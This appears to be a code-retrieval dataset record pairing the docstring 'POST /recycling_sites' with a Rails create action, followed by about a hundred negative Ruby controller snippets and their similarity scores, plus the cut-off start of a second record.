"def index\n @retain_nodes = RetainNode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retain_nodes }\n format.json { render :json => @retain_nodes }\n end\n end",
"def call\n fail(WordpRSS::InvalidURLError.new(\"#{url} is not a valid URL\")) unless url =~ URI::regexp\n\n RestClient.get(url)\n end",
"def index\n @visit_stats = VisitStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visit_stats }\n end\n end",
"def index\n @lookup_sets = LookupSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_sets }\n end\n end",
"def yields_from_sites\n @sites = Yield.all.collect {|x| x.site}.compact.uniq\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def get_forecast_data\n result = RestClient.get(request_url)\n @xml = REXML::Document.new(result)\n end",
"def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend",
"def test_get_site_list\r\n endpoint = \"/sites\"\r\n uri = URI(\"#{@host}#{endpoint}\")\r\n request = Net::HTTP::Get.new(uri)\r\n request['Accept'] = 'application/json'\r\n \r\n test_start = Time.now\r\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\r\n http.request(request)\r\n end\r\n test_end = Time.now\r\n\r\n @results << {\r\n :api => 'GET /sites',\r\n :endpoint => endpoint,\r\n :start_time => test_start,\r\n :runtime => (test_end.to_f - test_start.to_f) * 1000.0,\r\n :status => response.code,\r\n :content_type => response['content-type']\r\n }\r\n end",
"def show\n @url_search = UrlSearch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @url_search }\n end\n end",
"def index\n @urls = Url.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @urls}\n format.json { render json: @urls }\n end\n end",
"def get_channnel_xml( url )\n path = url.sub(/http:\\/\\/gdata\\.youtube\\.com/,'')\n xml = \"\"\n\n Net::HTTP.version_1_2\n Net::HTTP.start(\"#{@url}\", \"#{@port}\") do |http|\n response = http.get(\"/#{path}\")\n xml = response.body\n end\n\n return xml\n end",
"def index\n cookies[:default_view] = { :value => 'list', :expires => 6.month.from_now }\n @rips = Rip.get(params)\n respond_to do |format|\n format.html\n format.rss\n format.xml { render :xml => @rips.to_xml }\n format.js { render :partial => 'rip', :collection => @rips }\n format.json { render :json => @rips.to_json }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html { render :template => \"admin_sites/show\" }\n format.xml { render :xml => @site }\n end\n end",
"def index\n @service_versions = ServiceVersion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_versions }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @chronopay_links }\n end\n end",
"def index\n @centricsteels = Centricsteel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @centricsteels }\n end\n end",
"def sitemap\n self.root\n self.follow('dtime:sitemap')\n self.get\n self\n end",
"def show\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @retain_node_selector }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def index\n @servers = @site.servers\n end",
"def get_sites\n\t\ts = get_admin_section \"system.applicationHost/sites\"\n\t IisObjectCollection.new s.Collection, :site, Site, lambda { |site| site.id = s.Collection.Count + 1 }\n end",
"def show\n @sitelink = Sitelink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitelink }\n end\n end",
"def index\n @links = @panel.links\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @links }\n end\n end",
"def index\n @nodes = Node.all\n @title = \"List of taxonomy nodes - Browse organisms\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def show\n @rss_slide = RssSlide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rss_slide }\n end\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def show\n @mush_crawler = MushCrawler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mush_crawler }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @download_registrations }\n end\n end",
"def sitemap\n expires_in 1.day, public: true\n\n # The sitemap itself is hosted on Google Cloud storage, we read it from them and send it back to the accessor of this endpoint.\n storage = Google::Cloud::Storage.new\n bucket = storage.bucket ENV.fetch('GCLOUD_BUCKET')\n file = bucket.file \"sitemaps/sitemap.#{I18n.locale}.xml.gz\"\n\n send_data file.download.read, type: 'text/xml'\n end",
"def sitemap\n expires_in 1.day, public: true\n\n # The sitemap itself is hosted on Google Cloud storage, we read it from them and send it back to the accessor of this endpoint.\n storage = Google::Cloud::Storage.new\n bucket = storage.bucket ENV.fetch('GCLOUD_BUCKET')\n file = bucket.file \"sitemaps/sitemap.#{I18n.locale}.xml.gz\"\n\n send_data file.download.read, type: 'text/xml'\n end",
"def index(file=selfdir+\"feed.xml\", args={})\n # feed from the adminserver host\n feeder = vespa.adminserver\n feedoutput = feeder.feedfile(file, args)\n feedoutput\n end",
"def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def views()\n return uri(\"api/views/\")\n end",
"def blogs\n get(get_all_sites_uri)\n end",
"def url\n @url ||= \"https://#{@host}/#{druid_without_prefix}.xml\"\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitio }\n end\n end",
"def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end",
"def get_xml(url, options = {})\n\t\t\t\n\t\t\t# better way of doing this?\n\t\t\t# Map custom keys to the HTTP request values\n\t\t\treqs = {\n\t\t\t\t:character_name => 'n',\n\t\t\t\t:realm => 'r',\n\t\t\t\t:search => 'searchQuery',\n\t\t\t\t:type => 'searchType',\n\t\t\t\t:guild_name => 'n',\n\t\t\t\t:item_id => 'i',\n\t\t\t\t:team_size => 'ts',\n\t\t\t\t:team_name => 't',\n\t\t\t\t:group => 'group'\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tparams = []\n\t\t\toptions.each do |key, value|\n\t\t\t\tparams << \"#{reqs[key]}=#{u(value)}\" if reqs[key]\n\t\t\tend\n\t\t\t\n\t\t\tquery = '?' + params.join('&') if params.size > 0\n\t\t\t\n\t\t\tbase = self.base_url(options[:locale], options)\n\t\t\tfull_query = base + url + query\n\t\t\t\n\t\t\tputs full_query if options[:debug]\n\t\t\t\n\t\t\tif options[:caching]\n\t\t\t\tresponse = get_cache(full_query, options)\n\t\t\telse\n\t\t\t\tresponse = http_request(full_query, options)\n\t\t\tend\n\t\t\t\t\t\t\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\nbegin\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\nrescue\nend\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend",
"def update_search_engines\n\t @url = \"http://#{request.host_with_port}/\"\n sitemap_uri = @url + 'sitemap.xml'\n escaped_sitemap_uri = CGI.escape(sitemap_uri)\n\t Rails.logger.info \"Notifiying new sitemap => \" + escaped_sitemap_uri\n Rails.logger.info \"Notifying Google...\"\n res = Net::HTTP.get_response('www.google.com', '/webmasters/tools/ping?sitemap=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n Rails.logger.info \"Notifying Yahoo...\"\n res = Net::HTTP.get_response('search.yahooapis.com', '/SiteExplorerService/V1/updateNotification?appid=SitemapWriter&url=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n Rails.logger.info \"Notifying Bing...\"\n res = Net::HTTP.get_response('www.bing.com', '/webmaster/ping.aspx?siteMap=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n Rails.logger.info \"Notifying Ask...\"\n res = Net::HTTP.get_response('submissions.ask.com', '/ping?sitemap=' + escaped_sitemap_uri)\n Rails.logger.info res.class\n end",
"def index\n\n if request.format == Mime::XML\n limit=params[:limit].nil? ? 1000: params[:limit]\n else\n limit=params[:limit].nil? ? 50 : params[:limit]\n end\n\n config_template_id=params[:config_template_id]\n @config_template=ConfigTemplate.find(config_template_id)\n\n @node_configs = NodeConfig.find(:all, :conditions => [\"config_template_id = ?\", config_template_id], :order => \"hostname DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @node_configs }\n format.json { render :json => @node_configs }\n end\n end",
"def show\n @search_activity = @site.search_activities.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @search_activity }\n end\n end",
"def show\n\t\t@extractor = Extractor.find(params[:id])\n\t\t@latest_revision = @extractor.revisions.first(:order => \"created_at DESC\")\n\t\tif(@latest_revision) \n\t\t\t@latest_scraped_values = ScrapedValue.find_all_by_revision_id(\n\t\t\t\t@latest_revision.id,\n\t\t\t\t:include => [:annotation]\n\t\t\t)\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.rss { render :layout => false }\n\t\tend\n\tend",
"def get_sites(site_type=nil)\r\n logger.debug \"Inside Get Sites of AMF controller\"\r\n if site_type.nil?\r\n if params.key?(0) \r\n site_type=params[0]\r\n else\r\n raise \"No site passed because #{params.length} and #{params[0].key?(\"site_type\")} to get_sites #{params.inspect()}\"\r\n end\r\n end\r\n\t\tsite_list=Site.data_sites(site_type)\r\n respond_to do |format|\r\n format.html\r\n format.xml { render :xml => site_list.to_x }\r\n format.amf { \r\n logger.debug \"Returning site_list\"\r\n logger.debug \"Returning #{site_list}\"\r\n render :amf => site_list \r\n }\r\n end\r\n end",
"def show\n @microsite = Microsite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @microsite }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => current_vurl }\n end\n end"
] |
[
"0.6616882",
"0.64540225",
"0.64540225",
"0.64540225",
"0.64540225",
"0.64540225",
"0.62944096",
"0.628981",
"0.62276584",
"0.60674304",
"0.6047998",
"0.60441995",
"0.6043742",
"0.6033635",
"0.60291874",
"0.60231566",
"0.60231566",
"0.5998183",
"0.59870636",
"0.5940904",
"0.5915632",
"0.59055793",
"0.588809",
"0.58723825",
"0.58692384",
"0.5852809",
"0.5852809",
"0.5852411",
"0.58434623",
"0.58368725",
"0.5807773",
"0.5792343",
"0.5771132",
"0.5762607",
"0.57610375",
"0.5759671",
"0.57590693",
"0.5753415",
"0.57428277",
"0.57420725",
"0.57420725",
"0.5739287",
"0.5736104",
"0.57277703",
"0.570136",
"0.56981564",
"0.56565493",
"0.5649625",
"0.561131",
"0.5597671",
"0.559507",
"0.55902314",
"0.5590165",
"0.55804765",
"0.5562235",
"0.5560184",
"0.55592626",
"0.5546714",
"0.55319655",
"0.55274767",
"0.5510137",
"0.55080724",
"0.5496108",
"0.54958093",
"0.5491151",
"0.54908365",
"0.5485348",
"0.5483262",
"0.54827064",
"0.5478833",
"0.54784274",
"0.54760504",
"0.5473985",
"0.5466906",
"0.5464766",
"0.54593515",
"0.54517835",
"0.545106",
"0.5446464",
"0.5440119",
"0.5439035",
"0.5435008",
"0.5430417",
"0.5429743",
"0.5429743",
"0.54295063",
"0.5426755",
"0.5424223",
"0.54134476",
"0.5413294",
"0.5411972",
"0.5410055",
"0.5406509",
"0.540227",
"0.53992367",
"0.53991425",
"0.5397297",
"0.5396038",
"0.53920335",
"0.5381032"
] |
0.67162883
|
0
|
GET /recycling_sites/new GET /recycling_sites/new.xml
|
def new
@recycling_site = RecyclingSite.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @recycling_site }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def new\n @selector_site = SelectorSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selector_site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html { render :template => \"admin_sites/new\" }\n format.xml { render :xml => @site }\n end\n end",
"def new\n @website = Website.new params[:website]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @website }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n format.xml { render :xml => @site }\n end\n end",
"def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end",
"def new\n @site_link = SiteLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_link }\n end\n end",
"def new\n\n @project = Project.find(params[:project_id])\n @site = @project.sites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"def new\n @site_var = SiteVar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_var }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"def new\n @url_search = UrlSearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_search }\n end\n end",
"def new\n logger.debug 'new_some interesting information'\n @comdty = Comdty.new\n setvariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comdty }\n end\n end",
"def new\n @crawl_result = Crawl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crawl_result }\n end\n end",
"def new\n\t\t@website = Website.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @website }\n\t\tend\n\tend",
"def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end",
"def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @sitetype = Sitetype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitetype }\n end\n end",
"def create\n @recycling_site = RecyclingSite.new(params[:recycling_site])\n\n respond_to do |format|\n if @recycling_site.save\n flash[:notice] = 'RecyclingSite was successfully created.'\n format.html { redirect_to(@recycling_site) }\n format.xml { render :xml => @recycling_site, :status => :created, :location => @recycling_site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @recycling_site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @retain_node_selector = RetainNodeSelector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node_selector }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def newX\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server }\n end\n end",
"def new\n @my_sites = current_user.sites.clone\n @site = current_user.sites.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @page = @site.pages.new\n @page.parts << PagePart.new(:name => \"body\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @title = \"New Networks\"\n @network = Network.new\n @computers = Computer.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @pwebsite = Pwebsite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pwebsite }\n end\n end",
"def new\n @blacklisted_site = BlacklistedSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blacklisted_site }\n end\n end",
"def new\n @crawler_receive = CrawlerReceive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crawler_receive }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end",
"def new\n @rss_slide = RssSlide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rss_slide }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @get_started_page }\n end\n end",
"def new\n @daily_grr = DailyGrr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @daily_grr }\n end\n end",
"def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page_id = \"services\"\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @ipsearch = Ipsearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ipsearch }\n end\n end",
"def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lore }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n \n end\n end",
"def new\n @domain = Domain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @domain }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @page = Page.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @uri_type = UriType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uri_type }\n end\n end",
"def new\n @webpage = Webpage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @webpage }\n end\n end",
"def new\n @title = \"New Company\"\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @retain_node = RetainNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node }\n format.json { render :json => @retain_node }\n end\n end",
"def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @traffic }\n end\n end",
"def new\n @sitelink = Sitelink.new\n @sitelink.preferredpage = \"DEFAULT\"\n @preferredpages = Preferredpage.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitelink }\n end\n end",
"def new\n @pageview = Pageview.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pageview }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @news = News.new\n @title = \"New news\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def new\n @lookup_source = LookupSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_source }\n end\n end",
"def new\n @link = Link.new :long => 'http://'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end",
"def new\n @populate_feed_info = PopulateFeedInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def new\n @datafeed = Datafeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @datafeed }\n end\n end",
"def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @page }\n end\n end",
"def create\n @rssnew = Rssnews.new(params[:rssnew])\n\n respond_to do |format|\n if @rssnew.save\n flash[:notice] = 'Rssnew was successfully created.'\n format.html { redirect_to(@rssnew) }\n format.xml { render :xml => @rssnew, :status => :created, :location => @rssnew }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rssnew.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @crawler_article = CrawlerArticle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crawler_article }\n end\n end",
"def new\n @site = Site.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end"
] |
[
"0.720822",
"0.720822",
"0.720822",
"0.720822",
"0.720822",
"0.720822",
"0.720822",
"0.720822",
"0.71811664",
"0.69606143",
"0.6922176",
"0.6917113",
"0.6903965",
"0.6884183",
"0.6847495",
"0.6784215",
"0.67677593",
"0.67599463",
"0.67177415",
"0.66767865",
"0.66691786",
"0.6655552",
"0.663894",
"0.663894",
"0.66351753",
"0.66069746",
"0.6598691",
"0.65986896",
"0.6587228",
"0.6567093",
"0.65626144",
"0.65612924",
"0.65612924",
"0.65612924",
"0.65555125",
"0.6542032",
"0.65194243",
"0.6503676",
"0.6502228",
"0.6501907",
"0.64991385",
"0.6481251",
"0.64744556",
"0.64694005",
"0.6462378",
"0.6453644",
"0.6453308",
"0.64498925",
"0.64314103",
"0.642957",
"0.6426622",
"0.64250714",
"0.64223635",
"0.6420986",
"0.64045405",
"0.6404526",
"0.63974905",
"0.6391617",
"0.6380778",
"0.63756984",
"0.63756984",
"0.63756984",
"0.6374958",
"0.6374614",
"0.6373947",
"0.63734615",
"0.63699436",
"0.6367784",
"0.6367188",
"0.6365068",
"0.6365068",
"0.6365068",
"0.6365068",
"0.6365068",
"0.6365068",
"0.6364765",
"0.6362196",
"0.6362131",
"0.63615745",
"0.63600445",
"0.6353317",
"0.63517797",
"0.63504165",
"0.6346975",
"0.63441885",
"0.63438356",
"0.6343008",
"0.6341373",
"0.63326377",
"0.6330505",
"0.6327171",
"0.6327087",
"0.6323625",
"0.6310612",
"0.630845",
"0.63053787",
"0.6304828",
"0.6304061",
"0.63029474",
"0.62891626"
] |
0.73496795
|
0
|
POST /recycling_sites POST /recycling_sites.xml
|
def create
@recycling_site = RecyclingSite.new(params[:recycling_site])
respond_to do |format|
if @recycling_site.save
flash[:notice] = 'RecyclingSite was successfully created.'
format.html { redirect_to(@recycling_site) }
format.xml { render :xml => @recycling_site, :status => :created, :location => @recycling_site }
else
format.html { render :action => "new" }
format.xml { render :xml => @recycling_site.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_trial_sites_from_xml(trial_xml)\n sites = []\n trial_xml.xpath(\"//location\").each do |site|\n status = site.at(\"status\").text if site.at(\"status\")\n country = site.at(\"country\").text if site.at(\"country\")\n if status == \"Recruiting\" && (country == \"United States\" || country == \"Canada\")\n new_site = Site.new\n new_site.name = site.at(\"name\").text if site.at(\"name\")\n new_site.city = site.at(\"city\").text if site.at(\"city\")\n new_site.state = site.at(\"state\").text if site.at(\"state\")\n new_site.zip = site.at(\"zip\").text if site.at(\"zip\")\n new_site.country = country\n new_site.status = status\n new_site.contact_name = site.at(\"contact/last_name\").text if site.at(\"contact/last_name\")\n new_site.contact_phone = site.at(\"contact/phone\").text if site.at(\"contact/phone\")\n new_site.contact_phone_ext = site.at(\"contact/phone_ext\").text if site.at(\"contact/phone_ext\")\n new_site.contact_email = site.at(\"contact/email\").text if site.at(\"contact/email\")\n new_site.investigator_name = site.at(\"investigator/last_name\").text if site.at(\"investigator/last_name\")\n new_site.investigator_role = site.at(\"investigator/role\").text if site.at(\"investigator/role\")\n lat_long = find_lat_long({ zip: new_site.zip, city: new_site.city, state: new_site.state, country: new_site.country })\n 